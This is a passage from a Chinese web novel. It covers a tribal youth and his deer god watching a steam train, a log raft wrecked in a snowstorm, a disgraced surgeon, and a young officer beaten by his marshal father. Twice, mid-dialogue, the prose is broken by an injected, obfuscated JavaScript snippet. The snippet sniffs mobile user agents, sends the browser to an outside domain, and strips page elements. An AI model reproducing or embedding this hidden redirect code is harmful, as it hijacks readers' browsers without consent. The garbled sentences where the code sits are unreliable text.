“估计在十个人以内,仍然是死于那些火枪。” 萨哈良抚摸着地上的血迹,口中念念有词,呼唤着祖灵接引子孙的亡魂。 “是的,那么剩余的人也该有个去处。” 他们绕到了图腾柱的后面,跟着地上圆木拖动的痕迹找到了大路的入口。 由于走在那些殖民者的路上,两人都保持着警惕,就连马儿也竖起耳朵,努力搜索着树林间的风吹草动。 在这样危险的环境中,好像就连空气都粘滞了,压迫的人喘不过气,地上的树枝在马蹄的踩踏下发出炸雷般的声响。 “我们是不是快到了?” 行至半山腰处,前面有一条向右急转的路口,旁边是一道悬崖。树林变得稀疏起来,已经能望见远方的地平线了,萨哈良低声对鹿神说。 “做好准备。” 鹿神替他飘在前面,萨哈良拔出了腰间的短刀,正手握在胸前,身体微微伏在马背上,时刻准备冲锋制敌。 “呜——呜!” 一声洪亮的炸响,足以撕破刚才粘滞的空气,马儿受到惊吓也随之发出高亢的嘶鸣声,萨哈良差点被它甩飞出去。 那声音像是苏醒的巨兽,正从它钢铁的喉咙中迸发出那低沉、浑厚、悠长的怒吼。起初还带着粗粝的摩擦感,像是用铁锹在冻土中为胆敢挑战他的勇士挖掘墓穴,随后瞬间升高,直冲云霄。 萨哈良感觉周围没有危险之后,才从马上跳下来,弯下腰去小跑到了悬崖旁。 就在他跑去山崖的时候,又传来了“吭哧”“哐当哐当”的急促声响,像是召唤巨兽而来的萨满一齐敲起萨满鼓,震天动地。 这声音又把他吓了一跳,身体都快要伏在地上前进了。 眼前正是勇士所说的那条黑色巨龙,漆黑的身形甚至好像吞噬了阳光。它的血盆大口还在喷吐着黑烟,蠕行在山林与河流之间的土地上。 但在萨哈良眼中,它更像一条巨虫,长着千足,像蜗牛爬行时一样,在地上留下了银色的轨迹,闪闪发光。 “这是......” 这是鹿神也从未得见的造物,凝聚了人类千百年文明史的智慧结晶,代表着血肉之躯向神明最终宣战的檄文——蒸汽火车。 他们已经沉浸在眼前所见带来的震撼中了。 那条黑龙没有继续前行,而是趴卧在不远处一片小房子之中。房子的周围整整齐齐码放着圆木,见黑龙到了,跑出来几个背着长枪的士兵,吆喝着工人们——或者说奴隶们,用驽马拖行圆木。 但萨哈良能看得见他们的发色,那些“奴隶”并不是部族民。 圆木运送到黑龙旁边后,他们才恍然大悟。那些龙身上的鳞片像盖子一样被打开,工人一同将木材搬上去。 这样的活他们应该干了很多次,熟练的就将货斗装满,伴随着又一声响亮的“呜呜”声,那条“黑龙”朝着南方疾驰而去了。 “原来......这是他们运输用的工具。” 萨哈良感慨到,没有人不被这种场景折服。 “那条黑东西朝着南方去了,我们要追踪他。” 但那条“黑东西”像是不知疲倦,一直在地平线上消失之前都未曾减速。正所谓望山跑死马,萨哈良很清楚如果一直追下去,他的马儿也将是九死一生。 这时候,他看见旁边的大河里有一个木排顺流而下。 在存放木材的场地旁边有一个小镇,它依水而建,靠近河流的码头旁飘荡着许多木排。也许这里是一个货运中转的渡口,镇子里的人要比先前那个多得多。 港口前人头攒动,萨哈良离得远远的也能望到他们正排着,付给船夫钱币,然后登上木排准备出发。 尽管先前在小镇中闹出过不愉快,萨哈良还是咬了咬牙说道: “我们得想办法坐这个木排,也许能尽快赶到黑水城。” 为了避免太过招摇,萨哈良把头巾重新捆在马鞍后面,将婚礼那日装饰在马儿身上的流苏全部摘下,收了起来。 马儿已经习惯盛装出行那气派的样子,为此,还轻轻咬了萨哈良一口。 那枚小小的狗獾神雕像被他用细绳子系在了脚踝上,很不起眼。至此,这是唯一能表明他部落民身份的器物了。 这次进入小镇时,他选择牵着马匹慢慢走,带着斗篷上的兜帽,散下的头发就像是风尘仆仆的旅者,也有可能是港口小镇的人们太忙,没有再多看他一眼。 离得近了才发现河面上的木排巨大无比,乘船人带去的牲畜在上面的马圈中如履平地,后面还有一间简陋的木屋供乘客休息。 “三枚银币。” 排队排了好久终于等到坐上木排的机会,那名船夫给萨哈良报上价格,他想也没想就低头从袋子里拿出钱递了过去。 正是老话所说车船店脚牙,无罪也该杀,渡口的船最擅长宰客。从那船夫的表情来看,他应该是后悔没多宰这异乡人一点钱。 “我觉得,你下次应该试试像后面那个大妈一样,像个本地人一样,砍砍价。” 萨哈良听鹿神这么说,回头看了看,一个壮实的中年女人正在和船夫争的不可开交,好像要吵起来了,最终只用了一把铜板就登上了木排。 “唉。” 他叹了口气,倒不是缺钱,就是有些不甘。 看到萨哈良吃瘪的滑稽样子,鹿神的嘴角又勾了起来,只是这次忍着没说话。 船夫帮乘客把各种牲口赶进马圈,锁上门,扭头朝着岸上吆喝了一声。几个人跑过来解开了绑在柱子上的缆绳,木排这就顺着江水出发了。 萨哈良安抚着马儿的情绪,一方面是木排在水中晃晃悠悠,一方面是它和对旁边的那头驴产生了敌意。 “乖乖的,等到地方喂你些好吃的。” 马儿碰了碰他的额头,慢慢安静下来。 许多乘客可能是第一次出远门,趁着他们朝着岸边的亲戚朋友挥手告别时,萨哈良钻进了木排后方的小木屋里,躲在一角用斗篷盖住了脑袋。 很快,木屋里就坐满了人。 “今年坐个木排进城真便宜啊!” “哈哈哈哈哈!” 听见旁边的农夫这么说,鹿神这下没忍住,笑出声来,萨哈良只好尴尬的挠了挠头。 “这不是因为前几天暴雪,火车没法开过来吗?只能编成木排走水路了,现在河里的木头快比人多了。” “我年轻的时候这边还没有火车,那会在林场子干活都是趁着春天开化之后走水路的。” “是啊,谁想到今年都化冻了还下雪。” “你以为那火车运木头是给咱们老百姓用的啊,那都是大官点名要的好木头,我亲自挑的。” 萨哈良在一旁竖起耳朵,仔细听着他们的话,努力搜寻着有价值的信息。 “哥哥,你为什么一直戴着帽子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088671|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀?” 就在这时候,旁边的小女孩本来拿着炭笔,在本子上涂涂画画,不知道怎么注意力就到了萨哈良身上。 萨哈良本来对这些罗刹鬼还抱着敌意,努力离他们远远的,但看着那个“小鬼”红扑扑的小脸和透亮的眼睛,还是忍不住回话。 “因为哥哥累了,想休息一会。” 小女孩听见萨哈良这么说,点点头。 “那对不起大哥哥,我打扰到你休息了。” 她的妈妈在旁边摸了摸她的头,示意小女孩安静。 但萨哈良的余光瞥到了她本子上的画,那涂鸦像是一头鹿,巨大的鹿角如同树干一样伸向四面八方,可这头鹿却是站立着的。 “你这画的是......” 小女孩听到有人在关注她的画面,立刻大声说道: “我画的这是鹿角妖!” 旁边的乘客原本还聊的热火朝天,一听见这动静,瞬间安静下来,萨哈良甚至感觉有人倒吸了口凉气。 小女孩的妈妈拍了拍她的后背,好在母亲心疼孩子,没使劲。 “你这孩子,那么多花花草草不画,画这个干嘛!” 说完,她向四周的乘客道歉,连忙说着孩子不懂事。 “我是想画村里的勇士打败了鹿角妖!” 小孩也很是倔强,纠正着妈妈的话。 萨哈良想起了昨天那些惊慌逃窜的猎人,也许这是个解决疑问的好机会。 “鹿角......妖是什么?” 原本萨哈良想问这个小女孩,但旁边的农夫一把抢过了话茬。萨哈良抬起头,这时候才发现木屋也不全是些白皮肤的人,也有本地住民的田人。 “小伙子,你不是本地人吧?” 继续伪装这个也没意义,萨哈良点了点头。 “这个鹿角妖啊,是一个山野里的老萨满,传说她能化为鹿形。” 那个农夫愣了下,在他回忆的功夫,话头被旁边的人抢了过去。 “那叫附在鹿身上,变成鹿人,穿行在山林之中。” “对对对,你让我说完,我侄子亲眼见过不比你知道?” 农夫对旁人的补充表示赞同,但又把话茬抢了回来。 “但是啊,这个巫婆因为变的时间太久,据说她的本体藏在山洞里,让一只熊瞎子给咬死了。结果她被困在鹿形里回不去了。” “那个巫婆还是个情种,她在山上修行一年,原本约好了那一天要和情夫相会。” 他竖起两个拇指,向中间并在一起,揶揄着萨满的感情。 “就算变成鹿了,她也得去啊对不对,天雷勾动地火,她急啊!结果去了之后,正好赶上那情夫带着朋友在狩猎,想剥一条鹿皮给这巫婆做衣服。” 农夫一边讲,一边表演,逗的小朋友也在旁边笑,虽然萨哈良没感觉这个故事有什么好笑的。 “见那巫婆附身的鹿跑过来,可把猎人们高兴坏了,他抬起弓便射,这一下差点给她天灵盖掀了,从眉骨插进去连眼珠子都打烂了。” “从此,这个巫婆就在痛苦之中被永远困在鹿的体内,逐渐磨灭了人性,变成一头彻头彻尾的畜生了。” 那农夫讲完这个故事,得意的朝萨哈良笑着。 “说的什么乱七八糟的。” 鹿神在旁边轻蔑的笑了笑,转头去看岸边的风景了。 “那为什么这里的居民这么害怕这个传说,难道她真的存在?” 萨哈良不解,想起了昨天的场景。 “这个,怎么说呢,其实我本来也不信,鹿那玩意蠢的恨不得你一追它,就一头撞死在树上,怎么会变成妖怪呢?” 听农夫这么说,萨哈良忍不住瞥了瞥鹿神,但鹿神早猜到萨哈良会这样了,瞪了一眼过来。 “直到昨天晚上,镇子的猎人上山去猎鹿,当然,我侄子也在里面。” 每每提到侄子,农夫就很骄傲的样子。 “好家伙,那公鹿头上长着匕首,站起来跟座小山一样,跑起来狂风大作,要不是我侄子殿后,大伙都得死在山上。” “拉倒吧,我怎么听说你侄子是拿绳套去抓鹿的,结果摔了个大跟头,要不怎么在最后面呢?” 旁边抢话的人对着农夫讽刺道,大家都笑出声来。 “你懂个屁,唯一活着回来的猎犬我都看见了,腿上捅出来那么大的一个血窟窿,那个小玩意这会吓得都不敢出窝,一天没吃饭了。” 作为始作俑者,萨哈良是很清楚他这番话究竟掺了多少水,恐怕传说也是各种误会造成的。 “小伙子你看那岸边,早上猎人们去收拾这帮畜生了。” 比起萨哈良,鹿神更早看到了发生的一切。 那岸边的泥土上,正插着一根根圆木削成的长矛,几只公鹿的头在上面挑着,他们还不忘取下鹿角卖钱,上面留下两个大大的血洞。它们排列的并不整齐,像是一道原始而狰狞的围栏,阻挠着他们想象中邪灵的入侵。 空气中好像弥漫着一股难以言喻的味道,是泥土的腥气与河水深沉的湿冷,以及一种若有若无的、铁锈般的血腥,还有死亡本身带来的腐败气息。 那只断角的公鹿也在其中,头上遍布枪弹打出的孔洞。它撞断的角仍然像刀锋一样指向天空,好像曾经做着最后的挣扎,已经空洞的眼神似乎正望着鹿神的方向。 “真是荒唐。” 12.“梅杜萨之筏”(施工中)(还没码完) “真是荒唐。” 萨哈良头一次在鹿神的眼神中看到了茫然。 农夫所讲述的那个老萨满化身鹿角妖的传说,放在部族民的眼中,分明是悲伤的故事。而因为信仰与文化传统的冲突,却变成了引人发笑的谈资。 如今的局势,已经不是他们两个可以掌控的了。 “小伙子,你怎么了?” 那个年轻妈妈见他愣神,试探着问了问,一旁的小姑娘也扑闪着大眼睛看着他。 “我......我没事,可能是有点累了。” 虽然他们的报复性行为有违天道,但也不是凭依在凡人体内的鹿神,能随随便便降下神罚的时候了。萨哈良感到脑海中神灵的愤怒像鼓槌一样,一下又一下的敲击着他的颅骨。 “出去透透气吧。” 也是午饭的时候了,鹿神轻声对萨哈良说道,言语间带着几分颤抖。 木屋里的人们察觉到了他的异样,纷纷些许的降低了音量,有一些人用关切的目光,偷偷盯着他出去的背影。 水路要比骑马快了不少,河流汇入大江之后,水面愈发宽广,像是飘荡在海中,共长天一色,望不到尽头。 萨哈良深吸一口冷风,心中的躁动稍减。远处的山峦在雾气中若隐若现。 “他们与我们不同,无论是信仰或者文化。” 看着鹿神在一旁沉默不语,他试着先说了些话。 “我知道,我历经千年岁月,这样的事也不是没见过。” 萨哈良对鹿神的话疑惑不解,于是他继续说道: “那些镇子里的人曾经辱骂你是“不信神的人”,但在我看来,他们才是不信神的人。” 或许吧,但信仰真的是唯一的真理吗? “极北之地,天高皇帝远。在部族还未成型之前,也有许多田人农民逃难到这片无主之地上,他们也曾经像这群罗刹鬼一样,开垦荒地,上山捕猎。” “我不知道这些人曾经生活在何等资源匮乏的地方,才会养成无休止捕猎的习惯。” “在曾经发生过的历史中,那些田人农民在自然力量的规训下,最终也变成了部族民,荒野会给他们答案,也会再给他们机会。” 鹿神少有的说了许多话,他的确如葬礼时所说,那样的爱着世人。 萨哈良看着鹿神的脸,愤怒中又夹杂着慈悲,即便是这么漂亮的脸庞,也有点扭曲了。他慢慢的靠着牲畜的圈坐下,拿起肉干啃了起来,身后的马儿在蹭着他的头发。 远处的天边慢慢卷积起乌云,朝着太阳的方向移动。江面上波涛不惊,只能看见鱼儿游上来觅食呼吸泛起的涟漪,岸边的树林也静止不动,恐怕一场暴雪又将到来了。 “吃完就回去了,天色不好。” 他起身摸了摸马儿的头,又回到了木屋中。 那些面朝黄土背朝天的农民对天气变化很是敏感,等他进来的时候,他们正在用毛毯棉衣什么的东西堵在窗子上,只留了一些孔洞照明。 “小伙子你回来了,现在天色不对,恐怕一会要起风,就别出去了。” 农夫见他的眼神略显疑惑,向他解释道。 萨哈良点了点头,又回到墙角坐下。这时候,他注意到屋里有一个中年人,身上的呢子外套得体又合身,留着利索的中分短发,嘴唇边有一道奇怪的伤疤。 那些白皮肤的罗刹人普遍高鼻深目,他的眼眶里卡着一个奇怪的水晶片,正盯着手中的书看。 萨哈良从没有见过这种印在纸上的东西,因为部族没有文字,知识的传递全靠口口相传。 他的书上有时候会配上精美的图画,这些他能看懂。有的是外伤的样子,真实的仿佛就在眼前;有的是各种疹子,毒疮的样子,萨哈良好像都能看见脓液在慢慢流淌。 “我的书上有什么吗?” 那个中年人感觉到了萨哈良的目光,翻过书背看了看,想要找出什么异样。 “啊啊,对不起!” 萨哈良先前看的入迷,被他这么一说感觉非常尴尬。 “没关系,一般人看到这些图画只会怕的躲开。” 确实,旁边的农夫们听见他的话,好像往旁边挪了挪。 那个中年人站起身,捋了捋袖子,伸手过来。 “刚才听到你和农夫的聊天了,看出来你有些不适。没关系,我也觉得这些传说很扯淡。” 对方张开手,萨哈良感觉自己也应该伸手过去。这人说话耿直,让他感觉多少有些手足无措。 “喏,这本书借你看看,是帝国医科大学的教材,看你也该是读书考学的年纪,兴许以后也能学医。” 前面的一大串话,萨哈良是完全没听懂,他只听明白了“医”字。 “您是医生?” 说完,那名医生就坐回去了。为了打破尴尬,萨哈良向他问道。 “对啊。” 这个中年人只有在谈起自己的本职工作时,才多几句话。 “我......我也算是医生。” “你是什么科室的?” 萨哈良还没说完,就被他打断了。 “科室?我在村子里有时候会给人治病。” “你擅长什么治疗方法?” 那医生由于经年累月的询问病人,已经养成像连珠一般提问的习惯。 “萨......巫......民间医术。” 萨哈良本来想着要不要说萨满这个词,但说巫医好像更是犯了他们的忌讳。 “呵,江湖骗术。” 医生说话是一点都不客气,他反手从包里摸出一本大部头著作,扔了过来。 萨哈良看了看封皮,上面是烫金的几个大字:“外科学讲义”。 “农村里外伤很常见,再看看这个吧,学点科学,别像他们一样天天装神弄鬼。” 听他这么说,刚才聊天的那几个农夫都瞪了他一眼。 “谢......谢谢你。” 好在他借来的两本书上图画很多,鹿神也凑过来和萨哈良一起看。 “先前我说他们才是不信神的人,如果不借用神力,能做到这种程度确实厉害。” 听鹿神这么说,他点了点头,确实,书上面许多外科手术的设计精妙让鹿神也忍不住佩服。 萨哈良正是求知若渴的年纪,沉浸进去之后连时间也不知道过去多久,直到屋里慢慢变黑,窗外狂风呼啸,连木排也跟着晃动起来。 “哎,怎么这么大风?往常这个时节应该风平浪静啊。” 那名农夫想起身开门,出去看看。 “这木筏子不会翻了吧?” 另外一个农夫有些担心的说道。 “你这什么乌鸦嘴,赶紧闭上。以后记住了,在船上别乱说话!外面下起暴雨了,还夹着雪。” 一直在外面控制木筏航向的船夫推门进来,指着那个农夫说。他这么一说完,木屋里又骚动了起来,木排不像船吃水那么深,可以说是浮在江面的,一旦掀起波浪非常危险。 “小伙子,别看书了,我们要把漏风的地方都堵上,要不然后半夜就冻坏了。” 农夫朝着萨哈良喊了一句,他就把书递给了医生。 这下大伙也不聊天了,有人从怀里掏出十字架,放在嘴边亲吻着,口中念念有词。 可能这就是他们的咒语吧,萨哈良在心里想着。 木排已经顺着江水到了最宽的地方,足足有数公里,在水面上就像一片落叶。夜幕落下,屋子里又是漆黑一片,这可真是前不着村,后不着店了。 随着外面的风越来越大,浪也越来越高,小小的木筏不再是乘着旅客的载具,而是变成了河神掌中的玩具。每当波涛涌动时,都能听见圆木直接腐朽的绳索发出“嘎吱、嘎吱”的响声,也能听见人们的惊呼声。 在这样的恐惧中,时间也不知道过去了多久,谁也睡不着觉。 “你会害怕吗?” 鹿神的声音在旁边响起,让他安定了不少。 萨哈良摇了摇头,但想到屋里漆黑一片,鹿神可能看不见。正在犹豫要不要说话的时候,他突然想起刚才那个医生已经半天没动静了。 “医生,医生,你不怕吗?” “不怕。” 从黑暗中慢慢传来一个幽幽的声音。 “医生很勇敢。” 确实,比起周围的农夫他好像有点太过冷静了。 “不敢当,我早就该是个将死之人了。” 也许是因为危险将近让人的神经活跃,医生愿意多说两句了。 “您为什么这么说?” 萨哈良表示疑问,也是为了缓和凝滞的气氛,他希望医生能说些什么。 “一年前,有个脑袋里长瘤子的退休将军找到我,其实他早就寿限将至了,但还是逼迫我给他做手术,也不能算逼迫吧,治病救人本来也是我的天职。” “当然,还是我学艺不精,手术自然是失败了,那颗瘤子和血管长在一起,他最后死在了手术台上。” 本来刚才还很紧张的农夫们,被转移了注意力,也加入进谈话里。 “这帮达官贵人最会糟践人,不就和碰瓷一样吗?” 那个爱讲故事的农夫附和道。 “嗯。” 医生顿了顿,又继续说: “他原本是参与政变失败的,皇帝体恤他的功劳,只是勒令退休,每年还能领养老金。” “但是子女亲戚的产业都被铲除了,他们又不像你们农夫,还会种地。所以府上的一家老小全靠他这点宫廷津贴过活,这一死,不就没钱了吗?” “所以我就被告上法庭,我哪儿干得过他们的背景?然后就赔光了家产,和妻子离婚了。你刚才应该也看见我嘴上的伤疤了,是在法庭上吵起来后被他们打的。” 这下,农夫们也不知道说什么好了。 “没事大夫,您读书多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092617|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到时候去黑水城再开家诊所就是了,我们乡下人其实挺需要好医生的,只是这边水平都不行骗子太多,所以都躲着他们。” “算了,我都被剥夺行医资格了,这趟旅途只是散散心,有机会的话,顺便帮人看看病,积累些病例,至少证明自己曾经是名医生。” 也许是说了太多话感觉疲倦,医生又沉默了。 但骤起的波涛再一次打断了刚刚缓和的气氛,船夫猛的推开门,雨雪也被大风吹进屋,他举着煤油灯,大喊道: “木排快要撑不住,我把马圈打开让牲口自己逃命了,大伙抓紧吧,上帝与我们同在!” 听他这么说,木屋里充斥着哭嚎,人们还没做好准备迎接死神的到来。 “抓紧椅子,没事的。” 鹿神在一旁安慰着萨哈良,同时呼唤马儿安定下来堵着屋门。但其实他感觉还好,至少他的神明确实陪在身边。 突然,一股暗流从木筏的下面猛地顶起,木筏斜着向一侧沉没下去。随后如同山峦般的巨浪朝着他们拍了过来,重锤般的力量瞬间将木屋撞倒。 萨哈良在木筏倾斜时被重重的甩向墙壁,虽然鹿神此时神力微弱,还是护住了他。但肋间撞击的疼痛依旧让他眼前发黑。 “萨哈良,你没事吧?” 刚才那下致命的伤害是在鹿神怀中躲过的。 “我没事。大家!你们还好吗?” 萨哈良回应完鹿神的话,又在狂风和波涛间大喊着,听见大家都应了声,他才放了心。 “小姑娘还好吗?” 他又想起那个小女孩,赶紧又喊了一声。 “我......我好痛......” “你等等浪平了我就去看你!” 好在恶劣的天气持续了没多久,虽然还有波浪,但小了不少。趁着木排稳当下来,萨哈良拿起刚刚那个煤油灯,幸亏没有被水打翻。 眼前是一片狼藉,木屋被冲塌了,现在斜在一边像个窝棚。木排也散掉许多圆木,原本是马圈的地方已经消失不见,牲口也只剩萨哈良的马和那头驴子了。 他赶紧举着灯跑到小女孩的旁边,蹲下去查看。 看上去她的右手臂在刚刚撞到了什么,已经断了,朝向一个诡异的角度折了过去。 萨哈良刚想在她折断的地方画起部族用来缓解疼痛的咒符,那个医生跑过来把他拽到一边。 “好了,不要卖弄你的戏法了。” 他拿着从刚刚冲垮的木屋上掰下来的木板,先是轻轻帮小女孩断手复位,随后又用绳子将木板夹住她的胳膊固定。 虽然小女孩还是喊痛了,但他的手法确实轻柔,好像曾经也是父亲一样。 “好了。” 他回去的时候,看了眼萨哈良,好像在对刚刚的话表示歉意。 “其实我觉得,要是你真画起符咒,被人看出来就不好了。” 鹿神对萨哈良说,他点了点头,确实,是他冲动了。 但失去木屋之后,取暖成了一个大问题。 船夫从浸水的箱底拖出半瘪的铁盆,手斧劈着潮湿的圆木。人们沉默地递来所有能找到的布片、破毯。萨哈良用刀将它们砍成条,混着从木缝深处削出的干燥刨花,堆在盆底。 火镰撞击的声响在空荡的水面上格外清晰,不知道多少次,火星终于溅上浸油的布条,在无数屏息的注视中,一缕呛人的青烟腾起了。 见篝火生起,木筏上的人们纷纷去检查固定圆木的绳索,保证它不会在行驶的时候散架。 接下来的几天是漫无目的的漂流,由于暴风雨雪的那一天船夫的撑杆和绑着石头的锚被甩进水中,江河中的水流又不停的将他们往河中央推,想要靠岸只能等人来救援了。 他们都在趁着正午,把湿衣服晾在太阳下面,这时候医生突然对萨哈良说道: “我在留学的时候,曾经看过一幅画。” “啊?什么画?” 医生要晾的东西有点多,萨哈良帮他把那些画工精美的书也摊开。 “那幅画叫梅杜萨之筏,也是一次船难,乘客们在木筏上自救的真实故事。” “以往这种画的风格,通常都是描绘神话和史诗,但这次聚焦在小人物身上。所以你也可以理解成这是人类自己的抗争,以自己的力量拯救自己的故事。” “荣耀归于人类。” 医生说完,鹿神的目光掠过盆中跳跃的火焰,那由湿柴、破布和人类双手点燃的微光,细不可闻的叹息融化在篝火的噼啪声中。 他说的话,萨哈良没有太听懂,也许以后有机会,他看到这幅画的时候会理解吧。 就在刚刚聊天的时候,河面上慢慢出现了一条船,那船的外面在阳光下是银灰色的,一个比船还高的木轮在不停滚动着,桅杆上飘动着从未见过的旗帜,双头雄鹰的徽记在上面象征着帝国的威严,旁边的烟囱也冒起黑烟。 漆黑的炮筒正对准着他们。 13.里奥尼德,自极北而来的军官 “里奥尼德,不,中尉,你站岗时也像一条抽了骨头的鲑鱼吗?” 十二月的帝国首都,天地间唯有寒冷主宰着一切。 严寒自入冬起如同无形的巨网,笼罩着整座城市。两旁的房屋高大而沉默,路面四处是马车留下的辙痕,深深浅浅,交织成独属于北国的纹路。紧闭的窗户在玻璃上凝结的冰花后,隐隐透出灯火的微光,这是风霜中唯一的慰藉了。 行人道上的积雪被踏成了坚实的冰壳,每每走出一步都要小心翼翼,正是如今生活在这片土地上的众生相。 帝国陆军总参谋部的大门紧闭,里面似乎不断传来着男人的怒吼。两侧的卫兵侧挎着长枪,帽檐上已经结出了冰晶。 “怎么,不敢说话了?” 一个高大壮实的中年男人穿着笔挺的军装,上面的金纽扣和肩章垂穗,证明着他无可质疑的高贵身份。 那是元帅的穿着。 他来回踱步,参谋部办公室内的深色地板被踩得吱吱作响。屋内的装潢气派又宽敞,那男人的吼声好像都能听到回音。办公桌上摆放着双头鹰的徽记,后面墙上则是皇帝的肖像,俯视着所有人。旁边放着的巨大铜制地球仪,正是野心的象征。 “我问问你,为什么第四连的贱农义务兵敢在营房传阅你的狗屁“文豪”朋友写的邪书?” 那男人从桌上抄起一本书,甩到了那名年轻人身上。 名叫里奥尼德的青年正站立在壁炉旁,他的眉眼与这中年人有几分相似,近卫军的修身制服裹紧他年轻的身体。镀金的排扣沿着精瘦的腰线一路延伸至脖颈下,却在锁骨位置崩开了一粒。 那是被这中年男人用马鞭抽中的耻辱。 “我认为士兵有求知的权利,父亲。” “父亲?我真是昏了头才会让你读那什么狗屁人类学!” 原来那中年男人是里奥尼德的父亲,歇斯底里的咆哮后好像有口水溅到了他身上。 “还有,这是不是你的博士论文?” 父亲拿起桌上的一沓子稿纸,斜着眼睛盯着里奥尼德。 “是的。” “以后不要再让我看见这种东西。” 他随手就将那青年的心血扔进了壁炉里。 在篝火的阴影下,青年坚定的面庞中有着贵族式的英俊,如同大理石像般的冷白色皮肤透出血管的淡青,像冰湖般的灰蓝瞳孔中却燃烧着冰雪中的炭火。 里奥尼德狠狠的握紧了拳头,指节被捏的噼啪作响。 “里奥尼德,你要知道,如果不是我的面子,你一个狗屁大学生上不了总参谋部军校,也当不了这个狗屁中尉!” “我从来不想当什么狗屁军人,我只想当个学者。” 元帅的右手如同闪电一般挥出,向那青年打去。 里奥尼德的嘴角因为吃痛微微抽动,但即便父亲的巴掌甩到脸上时也没有扭头。 父亲见里奥尼德毫无惧色,仍然倔强的看着他,沉默了一会后慢慢说道。 “好,这犟种样子倒像是我们家的人。” 那元帅父亲也是性格古怪,这一嘴巴抽下去反而消气了不少。 “我们年轻的皇帝要求彻查刺杀先帝的那场政变,这件事你知道多少?” 元帅再次低沉的声音无疑表明了,这是一个严肃的问题。 “我不知道。” “你不知道?别以为我没听说过,你和你的好表妹伊琳娜两个人,天天在沙龙上和这帮年轻军官、知识分子们鬼混!” 里奥尼德没有回答这个问题,他沉默不语。 “好在政变的主使之一,那个狗屁将军脑子里长瘤,上个月死在庸医手里了,不然我就要去监狱捞你了,明白吗?” “我相信我的儿子不会背叛帝国,但我要求你以后离他们远点!” 青年点了点头,但他倔强的眼神并没有屈服。 元帅父亲向里奥尼德走去,他双手放在青年的肩膀上,脸上又挂上笑容,对他说道: “既然你和伊琳娜总是出没于沙龙,不如娶了她,怎么样?” 里奥尼德脸上浮现了讶异的表情,他从没想过这种事情,从来没有。 “我不爱伊琳娜,她也不爱我,我们是最好的朋友。” 那中年男人笑出了这个年龄特有的油腻,拍着他的脸,说道: “结了婚再说,慢慢就有感情了,明白吗?” “我不可能结婚。” 他斩钉截铁、恶狠狠的看着父亲说,喉结也在松开的领口上滚动。 元帅转身走向办公桌,结实的皮制马靴好像要把地板踩断了,他回头指着里奥尼德吼道: “没得商量,现在伊琳娜就是你的未婚妻,给我滚到远东去!” “到远东收拾那帮东瀛的野蛮人,守护帝国在远东的利益!像你哥哥一样,建功立业了再回来,听见没有?” 里奥尼德太阳穴上的青筋都暴起了,他一字一句的对着父亲说: “我不可能结婚,也不可能去什么远东。” 元帅父亲沉默不语,他的眼睛快速在桌子上寻找着什么,随后一个烟灰缸朝着里奥尼德飞了过去,砸到了他的额头。 殷红而滚烫的鲜血顺着他的脸流了下来,他本能的慢慢抬起手,想捂住伤口,又向父亲投去了难以置信的表情,随后便倒在了地上。 昏迷前最后看到的,是父亲在抱住他。那震惊的眼睛睁得滚圆,羞愧中又带着愤恨,父亲从来不觉得是自己做错了。 办公室那颗硕大的地球仪上显示着远东的地图,一枚又一枚的红色大头钉象征着帝国军队的步伐,正紧锣密鼓的向着那片土地进发,但同时,旁边同样扎着一枚又一枚的白色钉子,也许就是元帅口中东瀛人的势力。 元帅捧着里奥尼德的身体,不敢相信自己对小儿子做了什么,沉默之中,只有壁炉里柴火烧的噼啪作响。过了不知道多久,才想起来喊军医过来。 “中尉,你醒啦!” 里奥尼德刚刚从帝国总参谋部学院毕业不久,他还从未走上过战场,没想到第一次受伤竟然是因为父亲的烟灰缸。 此时天已经亮了,冬日的暖阳洒进军医院病房中白色的床单上。 他感觉自己仍是头晕目眩,也失去了对时间的概念。但此时他唯一想做的就是摸摸砸破的额头,很快就被护士制止了。 “别动,我在帮你换药,这么英俊的脸庞留疤就不好了。” 护士换好药之后,端着托盘笑着又看了里奥尼德一眼,然后推门离去了。 短暂昏迷之后昨日在父亲办公室里发生的不愉快,又慢慢涌上了脑海。无论是毕业论文被烧,还是娶伊琳娜,又或者是滚去远东服役,哪件事都不是他想面对的。 但他觉得,还是论文没了更要命。里奥尼德回忆着那天下午他刚到导师办公室报道,只需要完成论文,他就要成为学院里最年轻的博士了。 但父亲手下的警卫兵冲了进来,将他架上马车,送到帝国总参谋部学院。由于世袭贵族的身份,他很快从军校毕业,成为了一名中尉。 “请进。” 门外传来一阵急促的脚步声,随后敲门声响起。 听到里奥尼德的声音后,那人推门走了进来。 “中尉!” 来的是一个勤务兵,正朝着病床上的里奥尼德行军礼。 “行了,有话快说。” “是!伊琳娜小姐邀请您到“老地方”做客!” 里奥尼德叹了口气,指了指头上的纱布说道: “你看我这脑袋,能去吗?” “是!伊琳娜小姐还说了,如果里奥尼德中尉推辞,就说帝国的雄狮不会畏惧这种小伤!” 那勤务兵一边传话一边敬礼的滑稽样子逗笑了里奥尼德,当然,尽管他现在军衔不高,但作为元帅之子,世袭贵族,又是帝国大学毕业的高材生,至少成为大将也是指日可待。 “我虽然叫里奥,但现在只是病狮而已。” “报告!伊琳娜小姐的话传达完毕!请您指示!” 里奥尼德想了想,他这表妹可不是好糊弄的。 “行了,去备马车。” 勤务兵再次敬礼,推门跑了出去。 